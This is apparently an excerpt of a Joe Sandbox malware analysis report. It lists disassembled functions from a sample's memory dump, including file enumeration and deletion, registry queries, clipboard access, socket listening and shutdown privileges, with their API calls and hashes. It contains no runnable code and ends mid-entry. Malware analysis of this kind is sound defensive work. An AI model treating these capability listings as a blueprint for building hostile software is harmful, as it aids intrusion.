Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: b80a7a698f5091d559b5711527a9099d6f123d48ce30d73515fb65ddde422add
Instruction ID: 7c14ddaa5884382bf422eaae7615406012a25534f7acf27678c8562af4c85cd8
Opcode Fuzzy Hash: b80a7a698f5091d559b5711527a9099d6f123d48ce30d73515fb65ddde422add
Instruction Fuzzy Hash: 0361BD35204201AFD304EF24C888F6A7BE4EF84705F14459DF86A972A2CF31DA49DBA2

Function 00B5698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00B569BE
FindClose.KERNEL32(00000000), ref: 00B56A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00B56A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00B56A75

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00B56AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00B56ADF

Strings

%4d, xrefs: 00B56BB1
%4d%02d%02d%02d%02d%02d, xrefs: 00B56B6A
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00B56B32
%02d, xrefs: 00B56C00, 00B56C0A, 00B56C5A, 00B56CAA, 00B56CFA, 00B56D4A
%03d, xrefs: 00B56DA2

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: 5eee88b4218634e6c9589a59c3ea306f40687e0f79f9d62c0f5e10c9b0330133
Instruction ID: a86143494529884d72d42876a382305e0f8809d18a86c0b181e933bf0314cba8
Opcode Fuzzy Hash: 5eee88b4218634e6c9589a59c3ea306f40687e0f79f9d62c0f5e10c9b0330133
Instruction Fuzzy Hash: E5D16372508340AFC710EBA5C982EAFB7ECAF98704F44495DF985C7191EB74DA48C762

Function 00B59642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00B59663
GetFileAttributesW.KERNEL32(?), ref: 00B596A1
SetFileAttributesW.KERNEL32(?,?), ref: 00B596BB
FindNextFileW.KERNEL32(00000000,?), ref: 00B596D3
FindClose.KERNEL32(00000000), ref: 00B596DE
FindFirstFileW.KERNEL32(*.*,?), ref: 00B596FA
SetCurrentDirectoryW.KERNEL32(?), ref: 00B5974A
SetCurrentDirectoryW.KERNEL32(00BA6B7C), ref: 00B59768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00B59772
FindClose.KERNEL32(00000000), ref: 00B5977F
FindClose.KERNEL32(00000000), ref: 00B5978F

Strings

*.*, xrefs: 00B596F5

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 1e6104bad42a2d574271066b152bf07ddcc58ef46c0f7cf0d813e10d0b32e7b9
Instruction ID: fe0e87a69113937c1a44720b9f4afe20f67e8310cdb4bce2fac7cc20a5f362fc
Opcode Fuzzy Hash: 1e6104bad42a2d574271066b152bf07ddcc58ef46c0f7cf0d813e10d0b32e7b9
Instruction Fuzzy Hash: C331A671541619AADB149FB4DC49BDE7BECEF09321F1441DAE819E30A1DB30DD888E54

Function 00B5979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00B597BE
FindNextFileW.KERNEL32(00000000,?), ref: 00B59819
FindClose.KERNEL32(00000000), ref: 00B59824
FindFirstFileW.KERNEL32(*.*,?), ref: 00B59840
SetCurrentDirectoryW.KERNEL32(?), ref: 00B59890
SetCurrentDirectoryW.KERNEL32(00BA6B7C), ref: 00B598AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00B598B8
FindClose.KERNEL32(00000000), ref: 00B598C5
FindClose.KERNEL32(00000000), ref: 00B598D5

Part of subcall function 00B4DAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00B4DB00

Strings

*.*, xrefs: 00B5983B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: ab0e259aa1dd5bf2c75215794a976ba481c46ec28cf335b4713f2cf23e7241b3
Instruction ID: 38333545a280090884158e8356a1488044a212a32bc74adece7bf5001f133771
Opcode Fuzzy Hash: ab0e259aa1dd5bf2c75215794a976ba481c46ec28cf335b4713f2cf23e7241b3
Instruction Fuzzy Hash: EC31C331501619EADB24AFB4DC49BDE7BECEF06361F1441D9E914A31E1DB30DE888B64

Function 00B6BE44 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B6C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B6B6AE,?,?), ref: 00B6C9B5
Part of subcall function 00B6C998: _wcslen.LIBCMT ref: 00B6C9F1
Part of subcall function 00B6C998: _wcslen.LIBCMT ref: 00B6CA68
Part of subcall function 00B6C998: _wcslen.LIBCMT ref: 00B6CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B6BF3E
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 00B6BFA9
RegCloseKey.ADVAPI32(00000000), ref: 00B6BFCD
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00B6C02C
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00B6C0E7
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00B6C154
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00B6C1E9
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 00B6C23A
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00B6C2E3
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00B6C382
RegCloseKey.ADVAPI32(00000000), ref: 00B6C38F

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3102970594-0
Opcode ID: 998a9f6430c19e8f8cc8af9d91edd3774dbd382fb2ea10afbe83a46e80c09f0b
Instruction ID: 6bd61d1a09005d0450a3b72884272ede48d2e1721cc18f3c53ec04356d0dfce6
Opcode Fuzzy Hash: 998a9f6430c19e8f8cc8af9d91edd3774dbd382fb2ea10afbe83a46e80c09f0b
Instruction Fuzzy Hash: A4027E716042409FC714CF24C891E2ABBE5EF89304F18C49DF88ACB2A2DB35ED45CB91

Function 00B4D076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00AE3A97,?,?,00AE2E7F,?,?,?,00000000), ref: 00AE3AC2

Part of subcall function 00B4E199: GetFileAttributesW.KERNEL32(?,00B4CF95), ref: 00B4E19A

FindFirstFileW.KERNEL32(?,?), ref: 00B4D122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 00B4D1DD
MoveFileW.KERNEL32(?,?), ref: 00B4D1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 00B4D20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 00B4D237

Part of subcall function 00B4D29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00B4D21C,?,?), ref: 00B4D2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 00B4D253
FindClose.KERNEL32(00000000), ref: 00B4D264

Strings

\*.*, xrefs: 00B4D0CD, 00B4D0D6, 00B4D0EB

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: fa10c7cad532071d07775e13e0eedd80b1c9a9c176523f81aa38d2c79ba6eaee
Instruction ID: 6efff5f0bdb69fb6cd28b24f30b7570b6f79207cc0e94dd7cde99b6385f6e58e
Opcode Fuzzy Hash: fa10c7cad532071d07775e13e0eedd80b1c9a9c176523f81aa38d2c79ba6eaee
Instruction Fuzzy Hash: 55617F3180124D9FCF15EBE1CA929EEB7B5AF55300F6041A9E405771A2EF30AF49EB61

Function 00B5ED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00B5ED91
EmptyClipboard.USER32 ref: 00B5ED97
GlobalAlloc.KERNEL32(00000002,?), ref: 00B5EDAC
CloseClipboard.USER32 ref: 00B5EEA3

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 506220c5164e9f605233fcd922f39e4892c320f9ada5971a8484943eaba80f33
Instruction ID: 2c15d8a04116fdf74866f59ba94a6fb7b262329ea6d49068cc96c8142c98c6e3
Opcode Fuzzy Hash: 506220c5164e9f605233fcd922f39e4892c320f9ada5971a8484943eaba80f33
Instruction Fuzzy Hash: 3541BE35204651AFE724DF15D889B19BBE1FF44329F14C0DDE8298B6A2CB35ED86CB90

Function 00B4E8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00B416C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B4170D
Part of subcall function 00B416C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B4173A
Part of subcall function 00B416C3: GetLastError.KERNEL32 ref: 00B4174A

ExitWindowsEx.USER32(?,00000000), ref: 00B4E932

Strings

, xrefs: 00B4E95C
SeShutdownPrivilege, xrefs: 00B4E902
, xrefs: 00B4E920
@, xrefs: 00B4E925

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 83af604689c10108f304f7a0ad7ab2cb80d927a53a0be32c9b5cda2bf45dec5a
Instruction ID: 148579467538c5133be48faa086bae4c83bd63b9950fc660bb2bf513af510596
Opcode Fuzzy Hash: 83af604689c10108f304f7a0ad7ab2cb80d927a53a0be32c9b5cda2bf45dec5a
Instruction Fuzzy Hash: C101DB73610211ABEB5426B89C8ABBF76DCF714750F1548A5F822E31D1DA71DE80A294

Function 00B61204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00B61276
WSAGetLastError.WSOCK32 ref: 00B61283
bind.WSOCK32(00000000,?,00000010), ref: 00B612BA
WSAGetLastError.WSOCK32 ref: 00B612C5
closesocket.WSOCK32(00000000), ref: 00B612F4
listen.WSOCK32(00000000,00000005), ref: 00B61303
WSAGetLastError.WSOCK32 ref: 00B6130D
closesocket.WSOCK32(00000000), ref: 00B6133C

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: 29a27c9fef301df2f66e260920d0bc528d7f9526f759824b691773c2cf86f565
Instruction ID: 610c81cb327aa3550f7eb83bf6e1939082f318754e6f92efa8fc032585b6f0cb
Opcode Fuzzy Hash: 29a27c9fef301df2f66e260920d0bc528d7f9526f759824b691773c2cf86f565
Instruction Fuzzy Hash: 104180316001409FD710DF28C598B2ABBE5EF46318F1C858CD8569F296C775ED81CBA1

Function 00B4D3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00AE3A97,?,?,00AE2E7F,?,?,?,00000000), ref: 00AE3AC2

Part of subcall function 00B4E199: GetFileAttributesW.KERNEL32(?,00B4CF95), ref: 00B4E19A

FindFirstFileW.KERNEL32(?,?), ref: 00B4D420
DeleteFileW.KERNEL32(?,?,?,?), ref: 00B4D470
FindNextFileW.KERNEL32(00000000,00000010), ref: 00B4D481
FindClose.KERNEL32(00000000), ref: 00B4D498
FindClose.KERNEL32(00000000), ref: 00B4D4A1

Strings

\*.*, xrefs: 00B4D3F2

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 59ba42beed541099db76321a5c5aaeb14917f527af5e06d9db61f2557bc54818
Instruction ID: de4afe299bdc026f42d01019ddc57de957a08540b290924ff86b7910ab7bb2b0
Opcode Fuzzy Hash: 59ba42beed541099db76321a5c5aaeb14917f527af5e06d9db61f2557bc54818
Instruction Fuzzy Hash: 543180710083819BC700EF65D9958AFB7E8BEA1304F444E5DF4D5932A2EB30AA49D763

Function 00B5648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B564DC
CoInitialize.OLE32(00000000), ref: 00B56639
CoCreateInstance.OLE32(00B7FCF8,00000000,00000001,00B7FB68,?), ref: 00B56650
CoUninitialize.OLE32 ref: 00B568D4

Strings

.lnk, xrefs: 00B564BA, 00B56524, 00B565E0

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 3993f32326dec7aaa6d6a12b99138fc33ce32e8d8fe51f248dd0f234ffcf1c58
Instruction ID: f9940d75e281be2da922a604bb5496ec179d2a6119d431b1e6f5b3f012f00072
Opcode Fuzzy Hash: 3993f32326dec7aaa6d6a12b99138fc33ce32e8d8fe51f248dd0f234ffcf1c58
Instruction Fuzzy Hash: DBD17A715083419FC314EF25C981A6BB7E8FF98704F5449ADF5958B2A1EB30EE09CB92

Function 00B622DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 00B622E8

Part of subcall function 00B5E4EC: GetWindowRect.USER32(?,?), ref: 00B5E504

GetDesktopWindow.USER32 ref: 00B62312
GetWindowRect.USER32(00000000), ref: 00B62319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00B62355
GetCursorPos.USER32(?), ref: 00B62381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00B623DF

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 1337d633e2dbb388639ced299dc32dcd49f7a4e722c21f0293be663163efb8bc
Instruction ID: 11a4298716d10b4f0c2252115edc3617e9696b323fb29ad2f10eb849e0f2d457
Opcode Fuzzy Hash: 1337d633e2dbb388639ced299dc32dcd49f7a4e722c21f0293be663163efb8bc
Instruction Fuzzy Hash: 64310072504705AFDB20DF14D849B5BBBE9FF88310F00095DF898A7281DB38EA48CB96

Function 00B59B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00B59B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00B59C8B

Part of subcall function 00B53874: GetInputState.USER32 ref: 00B538CB
Part of subcall function 00B53874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B53966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00B59BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00B59C75

Strings

*.*, xrefs: 00B59B5D

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 06f674f6965611c9c5ac6e57e4ae67cb444a74b2b1ae3b46115fecaf6855d187
Instruction ID: 4adc3674268e61babd346167099bf00a3b7ca82afec0e1891858ee2d638bb25d
Opcode Fuzzy Hash: 06f674f6965611c9c5ac6e57e4ae67cb444a74b2b1ae3b46115fecaf6855d187
Instruction Fuzzy Hash: CA413C7190420AEBDF54DF64C989BEEBBF8EF05311F2441D9E805A2191EB309E89CF61

Function 00AF997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 00AF9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00AF9BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 00AF9A4E
GetSysColor.USER32(0000000F), ref: 00AF9B23
SetBkColor.GDI32(?,00000000), ref: 00AF9B36

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: cb749931da995728146091c3487ce094d09a69890350dd8a92d82c40d2fde4d7
Instruction ID: 89caa794be6956d668e4332aefe66584713338da3fe759a455b397fda7aba6af
Opcode Fuzzy Hash: cb749931da995728146091c3487ce094d09a69890350dd8a92d82c40d2fde4d7
Instruction Fuzzy Hash: 9EA109B0148448BFE738BBAC8C99F7B36EDDB42380F254249F616D7591CE259D06C272

Function 00B61806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00B6304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00B6307A
Part of subcall function 00B6304E: _wcslen.LIBCMT ref: 00B6309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00B6185D
WSAGetLastError.WSOCK32 ref: 00B61884
bind.WSOCK32(00000000,?,00000010), ref: 00B618DB
WSAGetLastError.WSOCK32 ref: 00B618E6
closesocket.WSOCK32(00000000), ref: 00B61915

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: bf130e34141813a4cdc8b18bae200f7206e6e2cb7e72cca91a81dac4b09f81c1
Instruction ID: 2bf7c02e8920e30afaedc06eb950f7c918d6921062e9e3bb24bca8e0e3835954
Opcode Fuzzy Hash: bf130e34141813a4cdc8b18bae200f7206e6e2cb7e72cca91a81dac4b09f81c1
